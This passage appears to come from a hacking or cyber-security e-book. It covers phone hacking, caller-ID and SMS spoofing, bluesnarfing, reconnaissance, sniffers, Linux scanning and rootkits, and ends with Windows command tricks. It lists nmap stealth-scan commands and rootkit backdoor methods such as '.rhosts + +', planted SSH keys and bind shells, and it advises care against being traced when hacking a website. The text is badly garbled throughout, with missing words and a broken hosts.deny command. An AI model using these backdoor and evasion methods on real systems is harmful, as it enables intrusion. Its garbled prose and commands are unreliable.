Voice mails can also be retrieved by a hacker through a hacking cell phone. After stealing your number, this caneasily be done - if your password is disabled. The main thing that needs to be understood here, is that theelectronics that give you the modern convenience of interacting Internet (getting your voice mails,emails, Web surfing, etc.) , is also the same technology that allows receive the same ills as can befallsomeone on the Internet.

What Can You Do?

It seems that the major cell phone companies, at least at this point, are not interested in bringing the system up tobe able to cope with this threat. Meetings are starting to take now it is not perceived to be real serious. Thiscould be because it is primarily the older phones that are most susceptible to some types of this mobile hacking.

Until the cell phone manufacturers are able to cope with, or eliminate, the glitches in the system that allows them toovercome these problems, you will largely have to help yourself to cope with these things. Here are a couple of tips thatwill help you protect your cell phone, information, and other things.



Use Your Passwords

The cell phone companies tell us that many people have turned off their passwords when they access their voicemail messages, or other things. This little feature, though it may seem to be an annoyance to some, could protectyour phone from unauthorized purposes.



Leave The Phone Off

This one is obviously the harder choice, here, simply because most of us who have cell phones like to be reachedanytime and anywhere. Others do need to be reachable at all times.



Upgrade Your Phone

While this cannot guarantee that your phone is not hackable, it certainly will help. It should be remembered thatthe phone companies work hard to deliver the best technology and conveniences - but the cell phone hacks workjust as hard to be the first to break the systems designed to defeat them. It is an ongoing battle.

Cellular phone hacking, for now, is a fact of life that affects a few of us. Gladly, the numbers are still small, butmany feel this problem is just getting started. By being aware of the problems, you can wisely take steps toprevent them from happening to you. Cellphone hacking does not need to catch you unprepared.

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Call Spoofing / Forging

• Call forging is method to spoof caller id number displayed on the mobile phone/landline.

• It relies on VoIP (Voice over Internet Protocol)

• VoIP is emerging & exciting innovation as far as Information technology is concerned.

• Can be considered as GEN Next Cyber Crime.

About Caller Id Forging/Spoofing

Caller ID Forging the practice of causing the telephone network number on the recipient's caller ID displaywhich is not that of the actual originating station; the term is commonly used to describe situations in which themotivation is considered nefarious by the speaker. Just as e-mail spoofing can make it appear that a message came fromany e-mail address the sender chooses, caller ID forging can make a call appear to have come from any phone number thecaller wishes. Because people are prone to assume a call is coming from the number (and hence, the associated person,question.

Firstly the voip is used to call via internet PC to a telephone.In the Voip there is a loop hole which allow a intruder to spoof a call.

There are many website on the net which provide the facility of the internet calling.

This website work as follows,first the call the source phone no then the destiation number and then bridge themtogather.

Here there is no authentication done by the website and server are normally located in US and so tracing of theintruder is not possible.

Thus the intruder logs on to this server and gives a wrong source number and then place a call over internetwhich is actually a spoofed call which shows wrong identity.

Also there a no laws regarding the call spoofing in India and so a intruder if gets traced is easily backed by theloophole of no laws for it.

thus if you get calls from other numbers dont trust it they may be spoofed calls.

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SMS Forging

• SMS is one of the most popular means of communications.

• SMS Forging is the method to spoof sender id of SMS.

• One can send SMS to international Number from any number of sender’s choice.

• Facility to choose sender id upto 11 characters/name.

SMS ROUTING IN GSM-

First of all the sender send the SMS via gateway. The identity of the sender is attached to the SCCP packer of theSMS. The SMS once reach the SMS gateway is routed to the destination Gateway and then to the receiver’s handset.There are many ways by which we can send SMS to the SMS gateway.One of them is to use internet.Now the concept of SMS forging lies in changing the SCCP packer which contains the sender information prior deliveringto the SMS gateway.The intruder can change the SCCP packet and can send that packet to any of the receiver as a spoofed SMS.Some of the Website on the net also provide this facility.

07 91 7283010010F5 04 0B C8 7238880900F1 0000993092516195800AE8329BFD4697D9.

07- Length of the SMSC information (in this case 7 octets)

91 - Type-of-address of the SMSC. (91 means international format of the phone number)

72 83 01 00 10 F5 - Service center number(in decimal semi-octets). The length of the phone number is odd (11), so atrailing F has been added to form proper octets. The phone number of this service center is "+27381000015".

04- First octet of this SMS-DELIVER message

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0B- Address-Length. Length of the sender number (0B hex = 11 dec)

C8- Type-of-address of the sender number

72 38 88 09 00 F1- Sender number (decimal semi-octets), with a trailing F.

• When SMS is sent using an application, it is routed through international gateways.

• Spoofing of Message Id(SDCCH/SCCP Info) take place at International gateway.

• Finally SMS is routed to destination SMS Center number.

• As there is no authentication system, it is sent to destination number with spoof ID.

Bluesnarfing

Bluesnarfing is the theft of information from a wireless device Bluetooth connection, often between phones,desktops, laptops, and PDAs. This allows access to a calendar, emails and text messages. Bluesnarfing is muchmore serious in relation to Bluejacking, although both exploit others’ Bluetooth connections without their knowledge.Any device with its Bluetooth connection turned on and set to “discoverable” (able to be found by other Bluetoothdevices in range) can be attacked. By turning off this feature you can be protected from the possibility of beingBluesnarfed. Since it is an invasion of Bluesnarfing is illegal in many countries.

There are people who have predicted of bluetooth tooth attacks like bluesnarfing. Their reasoning is that WiFiwill eventually replace the need for bluetooth devices and without bluetooth, it make sense there will be no bluetoothattacks.

While convincing and logical, bluetooth have yet to be phased out long after WiFi is in use. In face, there are more andmore devices using bluetooth technology. The main reason: It's free. Unlike wifi which is a overall network and you arejust a "user" in the network, you "own the network". You can switch in on and off anytime you like, and you don't have topay a cent. There is no logic for example to use wifi for connecting with your headset, but bluetooth fits that functionperfectly.

In fact, this neglect on the importance of bluetooth has led to an added advantage to bluesnarfers. Because every isconcern about their wifi security, they neglect the fact that their short ranged network which is their bluetooth can easierbe hacked into for someone who is nearby or even far away but with the right equipment.

The reason why there is little news about bluesnarfing is that there is no good solution to the problem at the moment,save for switching off your bluetooth device.

So my advice is, be careful if you keep confidential information on your bluetooth devices.

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We will learn about call forging and sms forging in the later part of the book.

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8. Information gathering and Scanning

Why Information gathering?

• Information Gathering can reveal online footprints of criminal.• Information Gathering can help investigator to profile criminals

Information gathering of websites

We need to gather the following information about the website :

• Whois Information• Owner of website.• Email id used to register domain.• Domain registrar.• Domain name server information.• Releted websites.

We can use website www.domaintools.com for this puropse.

Whois

Whois is query to database to get following information.1.Owner of website.2.Email id used to register domain.3.Domain registrar.4. Domain name server information.5. Releted websites.

Reverse IP mapping

• Reverse IP will give number of websites hosted on same server.• If one website is vulnerable on the server then hacker can easily root the server.• Domainbyip.com

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Information Engine

• Search engines

• Google & yahoo

• But Specifically using www.kartoo.com will give us good information about the search.

• This type of search engines retrieves results from different search engine & make relation or connections betweenthose results.

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• Maltego is an open source intelligence and forensics application.

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• It allows for the mining and gathering of information as well as the representation of this information in a meaningfulway.• Coupled with its graphing libraries, Maltego, allows you to identify key relationships between information and identifypreviously unknown relationships between them.

• Almost 80% internet users use blogs/forums for knowledge sharing purpose.

• Information gathering from specific blog will also helpful in investigations.

• Information gathering from Social Networking websites can also reveal personal info about suspect.

• Many websites stored email id lists for newsletters. These email ids can also be retrieved using email spiders.

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Detecting ‘live’ systems on target network

Why Detecting ‘live’ systems on tagret network ?

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To determine the perimeter of the target network /systemTo facilitate network mappingTo build an inventory of accessible systems on target network

Tools used for this

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War DialersPing Utilities

War Dialers

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A war dialer is a tool used to scan a large pool of telephone numbers to detect vulnerable modems to provideaccess to the system.A demon dialer is a tool used to monitor a specific phone number and target its modem to gain access to thesystem.Threat is high in systems with poorly configured remote access providing entry to larger networks.Tools include THC-Scan, ToneLoc, TBA etc.

The term war dialing implies the exploitation of an organization's telephone, dial, and private branch exchange (PBX)systems to infiltrate the internal network and use of computing during the actual attack. It may be surprisingwhy we are discussing war dialing here as more PBX systems are with increased security configurations. However,the fact remains that there are as many insecure modems out can be compromised to gain access into thetarget system. What had initially caught the fancy of hackers in the movie 'war games', still manages to find carriersleading to compromise of systems. The war dialer in War Games is not very sophisticated as it only finds phone numberswhich are suspected to be computer dial-in lines. A more aggressive version might actually attempt to determine theoperating system, and a very aggressive version might attempt to perform some automated break -in attempts itself. If Areal scanner with this functionality will to analyze the carrier information, the negotiation and presence ofprotocols and/or banners to attempt determine the remote system. It will then attempt to use defaultusername/password combinations for system.

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9. Sniffers

Sniffers are almost as old as the Internet itself. They are one of the first tools that allowed system administrators to analyze their network and pinpoint where a problem is occurring. Unfortunately, crackers also run to spy on your network and steal various kinds of data. This paper discusses what a sniffer is, some of the more sniffers, and ways to protect your network against them. It also talks about a popular tool called Antisniff, which allows you to automatically detect sniffers running on your network.

What are Sniffers ?

In a non-switched network, Ethernet frames broadcast to all machines network, but only the computer that thepackets are destined for will respond. All of the other machines still see the packet, but if they are notthe intended receiver, they will disregard it. When a computer software and it’s network interface is inpromiscuous mode (where it listens for ALL traffic), then the computer ability to view all of the packets crossingthe network.

If you are an Internet history buff and have been wondering where the term sniffer came from. Sniffer was a product thatwas originally sold by Network General. It became the market leader and people starting referring to all networkanalyzers as “sniffers.” I guess these are the same people who gave the name Q -Tip to cotton swabs.

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Who uses Sniffers ?

LAN/WAN administrators use sniffers to analyze network traffic and help determine where a problem is on the network. Asecurity administrator could use multiple sniffers, strategically placed throughout their network, as an intrusion detectionsystem. Sniffers are great for system administrators, but they are also one of the most common tools a hacker uses.Crackers install sniffers to obtain usernames, passwords, credit card numbers, personal information, and otherinformation that could be damaging to you and your company if it turned up in the wrong hands. When they obtain thisinformation, crackers will use the passwords to attack other Internet sites and they can even turn a profit from sellingcredit card numbers.

Defeating Sniffers

One of the most obvious ways of protecting your network against sniffers is not to let them get broken into in the firstplace. If a cracker cannot gain access to your system, then there is no way for them to install a sniffer onto it. In a perfectworld, we would be able to stop here. But since there are an unprecedented number of security holes found each monthand most companies don’t have enough staff to fix these holes, then crackers are going to exploit vulnerabilities andinstall sniffers. Since crackers favor a central location where the majority of network traffic passes (i.e. Firewalls, proxies),then these are going to be their prime targets and should be watched closely. Some other possible “victims” wherecrackers like to install sniffers are next to servers where personal information be seen (i.e. Webservers, SMTPservers).

A good way to protect your network against sniffers is to segment much as possible using Ethernet switches insteadof regular hubs. Switches have the ability to segment your network and prevent every system on the network frombeing able to “see” all packets. The drawback to this solution is Switches are two to three times more expensive thenhubs, but the trade-off is definitely worth it. Another option, which you can combine with a switched environment, is touse encryption. The sniffer still sees the traffic, but it is displayed as garbled data. Some drawbacks of using encryptionare the speed and the chance of you using a weak encryption standard that can be easily broken. Almost all encryptionwill introduce delay into your network. the stronger the encryption, the slower the machines using it willcommunicate. System administrators have to compromise somewhere in the middle. Even though most systemadministrators would like to use the encryption on the market, it is just not practical in a world where security is seenas a profit taker, not a profit maker. Hopefully the new encryption standard that should be out shortly, AES (AdvancedEncryption Standard), will provide strong enough encryption and transparency to the user to make everybody happy.Some form of encryption is better then no encryption at all. If a cracker is running a sniffer on your network and noticesthat all of the data that he (or she) is collecting is garbled, then most likely they will move on to another site that does notuse encryption. But a paid or determined hacker is going to be able to break a weak encryption standard, so it is better toplay it smart and provide the strongest encryption as long as it will not have everybody giving you dirty looks when youwalk down the halls at work.

AntiSniff

In 1999, our buddies at L0pht Heavy Industries released a product called Antisniff. This product attempts to scan yournetwork and determine if a computer is running in promiscuous mode. This is a helpful tool because if a sniffer isdetected on your network, then 9 times out of 10, the system has been compromised. This happened to the ComputerScience Department at California State University – Stani slaus. Here is what they posted on their local website: “A snifferprogram has been found running on the Computer Science network. Sniffer programs are used to capture passwords. Inorder to protect yourself please change your password. Do not use a word out of a dictionary, put a number on the end of

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a word or use proper names. Be inventive, use special characters and have 8 characters in your password.” I am surethere are hundreds of similar postings on internal websites throughout the world that don’t m ake it public as they have.

Antisniff also helps you find those system administrators who run a sniffer to find out what is wrong with their localnetwork, but forget to ask for authorization beforehand. If you need to run a sniffer, then you should get permission inwriting. If your Security Administrator is running Antisniff, then there is a good chance they will find it and you will have toexplain why you are running a sniffer without authorization. Hopefully your security policy has a section on sniffers andwill provide some guidance if you need to run a sniffer.

At the time of this writing, Antisniff version 1.021 is the current release. There is a nice GUI available for Windows95/98/and NT machines. A command line version is also available for Solaris, OpenBSD, and Linux. This version of Antisniffonly works in a “flat non - switched” environment. If your network is designed with routers and switches, then Antisniffdoes not have the same functionality as in a non-switched environment. You can only use it on local networks that do notcross a router or switch. According to Lopht’s website, the next major release of Antisniff will have ability to figure o utif a computer is running in promiscuous mode over routers and switches. The next release of Antisniff should definitely bemore beneficial to system administrators because the price of switches are coming down and most companies areupgrading to switches to obtain 100/Full Mbps speeds. Even though you have a totally switched environment, you are stillnot out of the water. There are still firewalls, proxies, webservers, ftp servers, etc. where crackers still have the ability toinstall a sniffer and capture data locally. The only difference is, you have taken away their ability to capture data over thenetwork.

Antisniff can also be used by blackhats to find intrusion detection systems. know where your intrusion detectionsystems are, then they can become stealth attackers, causing you much because you just spend $150,000 on a newintrusion detection system and they found a way to bypass it.

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10. Linux Hacking

Linux is fast emerging as an affordable yet available operating system. As the popularity is growing attention ofplayers with malicious intent to break in to the systems.

Why Linux ?

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Majority of servers around the globe are running on Linux / Unix-like platforms Easy to get and Easy on pocket There are many types of Linux -Distributions /Distros / Flavors such Hat, Mandrake, Yellow Dog, Debian etc. Source code is available Easy to modify. Easy to develop a program on Linux.

Linux is an operating system that can be downloaded free and "belongs" to an entire community of developers, not onecorporate entity. With more and more people looking for an alternative to Windows, Linux has recently grown inpopularity and is quickly becoming a favorite among major corporations and curious desktop users. Not only does it giveusers a choice of operating systems, proves itself valuable with its power, flexibility, and reliability.

Linux supports most of the major protocols, quite a few of the minor ones. Support for Internet, Novell, Windows,and Appletalk networking have been Linux kernel for some time now. With support for Simple NetworkManagement Protocol and other services (such as Domain Name Service), Linux is also well suited to serving largenetworks. Since Linux was developed by a team of programmers over the Internet, its networking features were givenhigh priority. Linux is capable of acting as client and/or server to any of the popular operating systems in use today, and isquite capable of being used to run Internet Service Providers.

Linux is an implementation of the UNIX design philosophy, which means that it is a multi-user system. This has numerousadvantages, even for a system where only one or two people will be using it. Security, which is necessary for protection ofsensitive information, is built into Linux at selectable levels. More importantly, the system is designed to multi-task.Whether one user is running several programs or several users are running one program, Linux is capable of managing thetraffic.

Another huge advantage of an open system is a large number of software authors and beta testers. This makes thesoftware testing and refinement process faster and better. Because there is not a lot of commercial software for Linux,most software written for Linux is written because the authors want to do it and there need be no compromise of quality.

Linux is "Free" in two senses. In one sense, the Linux consumer is free to modify the system and do anything he or shewishes with it. In another sense, acquiring Linux does not necessarily require any cash outlay at all.

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There are two very popular methods for acquiring and distributing Linux: FTP and CD-ROM. Most of the major Linuxdistributions (Red Hat, Debian, Slackware, Caldera) are available for free download from several popular sites. Thoughtime consuming, it does not cost anything beyond connection charges.

Linux is one of the more stable operating systems available today. This is due in large part to the fact that Linux waswritten by programmers who were writing for other programmers and not for the corporate system. There are currentlytwo mature program packaging standards in the Linux world - SuSE and Mandrake. Debian and Red Hat each have theirown packaging systems; both will check dependencies, both can upgrade an entire running system without a reboot. Thismakes it easy to upgrade parts or all of a system, as well as add new software, or remove unwanted software.

Scanning Networks

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Once the IP address of a target system is known, an attacker can begin the process of port scanning, looking forholes in the system through which the attacker can gain access.A typical system has 2^16 -1 port numbers and one TCP port and one UDP port for eachEach one of these ports are a potential way into the system.The most popular Scanning tool for Linux is Nmap.

Scanning helps one to know what services are running on a machine. This will show the open ports on which services arelistening for connections. Once the targets are identified, an intruder is able to scan for listening ports.

Port scanning is the process of connecting to TCP and UDP ports on the system to determine what services arerunning or in a listening state. Identifying listening ports is essential to determine the type of operating system andapplication in use on the system.

Types of port scanning:

1. TCP connect scan: This type of scan connects to the target port and completes a full three-way handshake (SYN,SYN/ACK and ACK).2. TCP SYN scan: This is also called half-open scanning because it does not complete the three-way handshake,rather a SYN packet is sent and receiving a SYN/ACK packet it is determined that the target machines port isin a listening state and if an RST/ACK packet is received , it indicates that the port is not listening.3. TCP FIN scan: This technique packet to the target port and based on RFC 793 the target system shouldsend back an RST for all closed ports.4. TCP Xmas Tree scan: This technique sends a FIN, URG and PUSH packet to the target port and based on RFC 793the target system should send back an RST for all closed ports.5. TCP Null scan: This technique turns off all flags and based on RFC 793, the target system should send back an RSTfor all closed ports.6. TCP ACK scan: This technique is used to map out firewall rule sets. It can help determine if the firewall is a simplepacket filter allowing only established connections or a stateful firewall performing advance packet filtering.7. TCP Windows scan: This type of scan can detect both filtered and non-filtered ports on some systems due toanomaly in the way TCP windows size is reported.8. TCP RPC scan: This technique is specific to UNIX systems and is used to detect and identify Remote Procedure Call(RPC) ports and their associated program and version number.9. UDP scan: This technique sends a UDP packet to the target port. If the target ports responds with an "ICMP portunreachable" message, the port is closed, if not then the port is open. This is a slow process since UDP is aconnectionless protocol; the accuracy of this technique is dependent on many factors related to utilization ofnetwork and system resources.

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Hacking tool Nmap

http://www.insecure.org/nmap

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Stealth Scan, TCP SYNnmap -v -sS 192.168.0.0/24UDP Scannmap -v -sU 192.168.0.0/24Stealth Scan, No Pingnmap -v -sS -P0 192.168.0.0/24Fingerprintnmap -v -0 192.168.0.0/24 #TCP

Nmap is covered under the GNU General Public License (GPL) and can be downloaded free of charge http://www.insecure.org/nmap . It comes as tarred source as well as RPM format. The usage syntax Nmap is fairlysimple. Options to nmap on the command-line are different types of scans that are specified with the -s flag. A ping scan,for example, is "-sP". Options are then specified, followed by the hosts or networks to be targeted. Nmap's functionality isgreatly increased when run as root.

Nmap is flexible in specifying targets. The user can scan one host or scan entire networks by pointing Nmap to thenetwork address with a "/mask" appended to it. Targeting "victim/24" will the Class C network, whereas"victim/16" will target the Class B. Nmap also allows the user to specify with wild cards, as in 192.168.7.*, whichis the same as 192.168.7.0/24, or 192.168.7.1,4,5-16 to scan the selected that subnet.

Users are able to sweep entire networks looking for targets with This is usually done with a ping scan by using the"-sP" flag. A TCP "ping" will send an ACK to each machine on a network. Machines that are alive on the network willrespond with a TCP RST. To use the TCP "ping" option with a ping "-PT" flag is included to specific port on thetarget network.

Nmap has been covered in detail in module three and readers are advised to refer to that to learn more about the OSfingerprinting and other scan options.

Password cracking in Linux

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Xcrack

( http://packetstorm.linuxsecurity.com/Crackers/ )

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Xcrack doesn't do much with rules.It will find any passwords that match words in the dictionary file the user provides, but it won't apply anycombinations or modifications of those words.It is a comparatively fast tool.

Xcrack ( http://packetstorm.linuxsecurity.com/Crackers/ )

Xcrack is a simple dictionary based password cracking tool. It will find any passwords that match words in the dictionaryfile the user provide. It does not generate permutation combination of the words provided in the dictionary to arrive atthe right password. For this reason, it is a comparatively faster tool, though efficacy might be less.

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SARA (Security Auditor’s Research Assistant)

http://www-arc.com/sara

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The Security Auditor's Research Assistant (SARA) is a third generation Unix-based security analysis tool thatsupports the FBI Top 20 Consensus on Security.SARA operates on most Unix-type platforms including Linux & Mac OS XSARA is the upgrade of SATAN tool.Getting SARA up and running is a straight forward compilation process, and the rest is done via a browser.

SARA (Security Auditor's Research Assistant), a derivative of the Security Administrator Tool for Analyzing Networks(SATAN), remotely probes systems via the network and stores its findings in a database. The results can be viewed withany Level 2 HTML browser that supports the http protocol.

When no primary_target(s) are specified on the command line, SARA starts up in interactive mode takes commandsfrom the HTML user interface.

When primary_target(s) are specified on the command line, SARA collects data from the named hosts, and, possibly, fromhosts that it discovers while probing a primary host. A primary target can be a host name, a host address, or a networknumber. In the latter case, SARA collects data from each host in the named network.

SARA can generate reports of hosts by type, service, and vulnerability by relationship. In addition, it offers tutorialsthat explain the nature of vulnerabilities and how they can be eliminated.

By default, the behavior of SARA is controlled by a configuration (config/sara.cf). The defaults can be overruled viacommand-line options or via buttons etc. in the HTML user interface.

Linux Rootkits

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One way an intruder can maintain access to a compromised system is by installing a rootkit.A rootkit contains a set of tools replacement executables for many of the operating system's criticalcomponents, used to hide evidence the attacker's presence and to give the attacker backdoor access to thesystem.Rootkits require root access to to install, but once set up, the attacker can get root access back at any time.

Conventionally, UNIX and Linux have been known to have rootkits built, as the intruder is aware of the code. Here we willfocus on rootkits that use the LKM or Loadable Kernel Module.

A brief review: Rootkits appeared in the early 90's, and one of the first advisories came out in Feb 1994. This advisoryfrom CERT-CC addressed "Ongoing Network Monitoring Attacks" CA-1994-01 revised on September 19, 1997. Rootkitshave increased in popularity since then and are getting increasingly difficult to detect. The most common rootkits areused for SunOS and Linux operating systems. Rootkits contain several different programs. A typical rootkit will include anEthernet Sniffer, which is designed to sniff out passwords. Rootkits can also include Trojan programs used as backdoorssuch as inetd or login. Support programs such as ps, netstat, rshd, and ls to hide the attacker directories or processes.Finally, log cleaners, such as zap, zap2, or z2, are used to remove login entries from the wtmp, utmp, and lastlog files.Some rootkits also enable services such as telnet, shell, and finger. The rootkit may also include scripts that will clean upother files in the /var/log and var/adm directories. Using the modified programs of ls, ps, and df installed on the box, theintruder can "hide" his/her files and programs from the legitimate system administrator.

The intruder next uses programs within the rootkit to clean up the extensive log files generated from the initialvulnerability exploitation. The intruder then uses the installed backdoor program for future access to the compromisedsystem in order to retrieve sniffer logs or launch another attack. If a rootkit is properly installed and the log-files are

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cleaned correctly, a normal system administrator is unaware that the intrusion has even occurred until another sitecontacts him or the disks fill because of the sniffer logs.

The most severe threat to system security that can be caused by a rootkit comes from those that deploy LKM (LoadableKernel Module) trojans. Loadable Kernel Modules are a mechanism for adding functionality to an operating-system kernelwithout requiring a kernel recompilation. Even if an infected system is rebooted, the LKM process will reload the Trojanduring boot-up just like any other kernel module. Loadable Kernel Modules are used by many operating systems includingLinux, Solaris, and FreeBSD.

The LKM rootkits facilitate the subversion of system binaries. Knark, Adore, and Rtkit are just a few of many LKM rootkitsavailable today. As they run as part of the kernel, these rootkits are less detectable than conventional ones.

Let us see how a typical backdoor can be installed by an intruder.

The goal of backdoor is to give access to the hacker despite measures by the compromised system's administrator, withleast amount of time and visibility. The backdoor that gives local user root access can be: set uid trojanedsystem programs, cron job backdoor.

Set uid programs. The attacker may plant some set uid shell program in the file system, which when executed will grantthe root to the attacker.

Trojaned system programs. The attacker can alter some system programs, such as "login" that will give him root access.

Cron job backdoor. The attacker may add or modify the jobs of the cron program is running so that he can getroot access.

The backdoor that gives remote user root access can be: ".rhost" authorized keys, bind shell, trojaned service.

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".rhosts" file. Once "+ +" is in some user's .rhosts file, log into that account from anywhere withoutpassword.ssh authorized keys. The attacker may put his public key into victims ssh configuration file "authorized_keys", sothat he can log into that account without password.Bind shell. The attacker can bind the shell to certain TCP port. Anybody doing a telnet to that port will have aninteractive shell. More sophisticated backdoors of this kind can be UDP based, or unconnected TCP, or even ICMPbased.Trojaned service. Any open service be trojaned to give access to remote user. For example, trojaned the inetdprogram creates a bind shell at certain port, or trojaned ssh daemon give access to certain password.

After the intruder plants and runs the backdoor, his attention turns to hiding his files and processes. However, these canbe easily detected by the system administrator - especially if the system is running tripwire.

Let us see how a LKM rootkit helps achieve the attacker's needs.

In the case of LKM trojaned rootkits, the attacker can put LKM in /tmp or /var/tmp, the directory that the systemadministrator cannot monitor. Moreover, he can effectively hide files, processes, and network connections. Since he canmodify the kernel structures, he can replace the original system calls with his own version.

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To hide files. Commands like "ls", "du" use sys_getdents() to obtain the information of a directory. The LKM willjust filter out files such that they are hidden.To hide processes. In Linux implementations, process information is mapped to a directory in /proc file system. Anattacker can modify sys_getdents() and mark this process as invisible in the task structure. The normalimplementation is to set task's flag (signal number) to some unused value.To hide network connections. Similar to process hiding, the attacker can try to hide something inside/proc/net/tcp and /proc/net/udp files. He can trojan the sys_read () so that whenever the system reads these twofiles and a line matching certain string, the system call will not reveal the network connection.

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

To redirect file execution. Sometimes, the intruder may want to replace the system binaries, like "login", withoutchanging the file. He can replace sys_execve () so that whenever the system tries to execute the "login" program,it will be re-directed to execute the intruder's version of login program.To hide sniffer. Here we refer to hiding the promiscuous flag of the network interface. The system call to Trojan inthis case is sys_ioctl().To communicate with LKM. Once the hacker has his LKM installed, he will attempt to modify some system callssuch that when a special parameter is passed, the system call will be subverted.To hide LKM. A perfect LKM must be able to hide itself from the administrator. The LKM's in the system are keptin a single linked list. To hide a LKM an attacker can just remove it from the list so that command such as " lsmod "will not reveal it.To hide symbols in the LKM. Normally functions defined in the LKM will be exported so that other LKM can usethem. An attacker can use a macro and put it at the end of LKM to prevent any symbols from being exported.

Linux Tools : Security Testing tools

o

NMap ( http://www.insecure.org/nmap )

Premier network auditing and testing tool.

o

LSOF ( ftp://vic.cc.pudue.edu/pub/tools/unix/lsof )

LSOF lists open files for running Unix/Linux processes.

o

Netcat ( http://www.atstake.com/research/tools/index.html )

Netcat is a simple Unix utility which reads and across network connections, using TCP or UDPprotocol.

o

Hping2 ( http://www.kyuzz.org/antirez/hping/ )

hping2 is a network tool able to send custom ICMP/UDP/TCP packets and to display target replies likeping does with ICMP

o

Nemesis ( http://www.packetninja.net/nemesis/ )

The Nemesis Project is designed to be a command-line based, portable human IP stack for Unix/Linux

Linux Security Countermeasures

Countermeasures







Physical Security o It is ideal to restrict physical access the computer system so that unauthorized people don't get to misusethe system. Password Security o Assign hard to guess passwords which are long enough. o Ensure procedural discipline so that passwords are kept private o Ensure that system does not accept null password or other defaults Network Security o Ensure all default network accesses are denied

$ cat: ALL: ALL" >> /etc/hosts.deny

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Ensure that only essential services are running. Stop unused services like sendmail, NFS etc

$ chkconfig --list

$ chkconfig --del sendmail

$ chkconfig --del nfslock

$ chkconfig --del rpc



o Verify system logs at regular intervals to check for suspicious activity - (System logs in /var/log/secure) Patch the Linux system and keep it up to date o Check for bug fixes at the vendor site o Update packages as and when available at the Update site of the vendor.

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The Tutorial based hacks explanations.

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1. Chat With Friends using MS-DOS

Step 1:- All you need is your friends IP address

Step 2 :- Open your notepad and write tis code as it is.

@echo off:AClsecho MESSENGERset /p n=User:set /p m=Message:net send %n% %m%PauseGoto A3.

Step 3 :- Now save this as " Messenger.Bat ”.

Step 4 :- Drag this file (.bat file)over to Command Prompt and press enter!

Step 5 :- You would then see some thing this:

MESSENGERUser:

Step 6 :- After "User” type the IP address of the computer you want to contact.

Step 7 :- Before you press "Enter” it should look like this:

MESSENGERUser: IP_Address User: IP_AddressMessage: Hi, How are you ? Message: Hi, How are you?

Step 8 :- Now all you need to do is press "Enter”, and start chatting.

“ This Trick Works In the LAN connection Only. And may Not support some latest operating Systemslike Windows 7 and Windows Vista. ”

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2. How To Change Your IP address

Step 1. Click on "Start" in the bottom left hand corner of screen

Step 2. Click on "Run"

Step 3. Type in "cmd" and hit ok You should now be at an MSDOS prompt screen .

Step 4. Type "ipconfig /release" just like that, and hit "enter"

Step 5. Type "exit" and leave the prompt

Step 6. Right-click on "Network Places" or "My Network Places" on your desktop.

Step 7. Click on "properties

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if youhave a network hooked up, all of your other networks.

Step 8. Right click on "Local Area Connection" and click "properties"

Step 9. Double-click on the "Internet Protocol (TCP/IP)" from the list under "General" tab

Step 10. Click on "Use the following IP address" under the "General"

Step 11. Create an IP address (It doesn't matter what it is. I just 2 until i fill the area up).

Step 12. Press "Tab" and it should automatically fill in the "Subnet section with default numbers.

Step 13. Hit the "Ok" button here

Step 14. Hit the "Ok" button again You should now be back to the "Local Area Connection" screen.

Step 15. Right-click back on "Local Area Connection" and go to properties again.

Step 16. Go back to the "TCP/IP" settings

Step 17. This time, select "Obtain an IP address automatically" tongue.gif

Step 18. Hit "Ok"

Step 19. Hit "Ok" again

Step 20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

“This only changes your dynamic IP add ress, not your ISP/IP address. If you plan on hacking awebsite with this trick be extremely careful, because if they try a little, they can trace it back.”

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3. How To fix corrupted XP files

How to fix corrupted windows file is very easy.Following these following steps

Requirement: 1. Windows XP CD

Now, follow this steps:Step 1. Place the xp cd in your cd/dvd driveStep 2. Go to startStep 3. RunStep 4. Type sfc /scannow

Now sit back and relax, it should all load and fix all your corrupted file on win XP.Hope this method can fix your corruptedxp system files.

“ If this Does Not Work Then You Need to Format The Computer as there would be Viruses in thePC a nd you can can Also Use the antivirus if the Possible otherwise format the PC “.

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4. Delete an “Undeletable” File / Folder

You all Are familier With such kinfd of ERROR in windows so how to Fix them.

Step 1:- Open a Command Prompt window and leave it open.

Step 2- Close all open programs.

Step 3:- Click Start, Run and enter TASKMGR.EXE

Step 4:- Go to the Processes tab and End Process on Explorer.exe.

Step 5:- Leave Task Manager open.

Step 6:- Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) islocated in.

Step 7:- At the command prompt type DEL <filename> where <filename> is the file you wish to delete.

Step 8:- Go back to Task Manager, click Task and enter EXPLORER.EXE to restart the GUI shell.

Step 9:- Close Task Manager.

Or you can try this

Step 1:- Open Notepad.exe

Step 2:-Click File>Save As..>

Step 3:-locate the folder where ur undeletable file is

Step 4:-Choose 'All files' from the file type box

Step 5:-click once on the file u wanna delete so its name appears in the 'filename' box

Step 6:-put a " at the start and end of the filename(the filename should have the extension of the undeletable file so it will overwrite it)

Step 7:-click save,

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Step 8:-It should ask u to overwrite the existing file, choose yes and u can delete it as normal

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Here's a manual way of doing it.

Step 1:- Start

Step 2:- Run

Step 3:- Type: command

Step 4:- To move into a directory type: cd c:\*** (The stars stand for your folder)

Step 5:- If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have todo the following. instead of typing in the full folder name only take the first 6 letters then put a ~ 1 withoutspaces. Example: cd c:\progra~1\kazaal~1

Step 6:- Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.

Step 7:- Now to delete the file type in del ***.bmp, txt, jpg, avi, etc... And if the file name has spaces you would use thespecial 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in thespecific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correctextension.

“ You can use antivirus to remove this error the problem persists then you can use thefollowing method “.

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5. What Is Steganography?

Steganography is the art and science of hiding messages. Steganography combined with cryptography so thateven if the message is discovered it cannot be read.

The word steganography is derived from the Greek words "steganos" "graphein", which mean "covered" and"writing." Steganography, therefore, is covered writing.

Historical stenganography involved techniques such as disappearing microdots. Modern steganography involveshiding data in computer files.

It is fairly easy to hide a secret message in a graphic file without obviously altering the visible appearance of that file.

Steganography software

OutGuess is a universal steganographic allows the insertion of hidden information into the redundant bits ofdata sources. The nature of the data source is irrelevant to the core of OutGuess. The program relies on data specifichandlers that will extract redundant bits and write them back after modification. In this version the PNM and JPEG imageformats are supported. In the next paragraphs, images will be used as concrete example of data objects, though OutGuesscan use any kind of data, as long as a handler is provided.

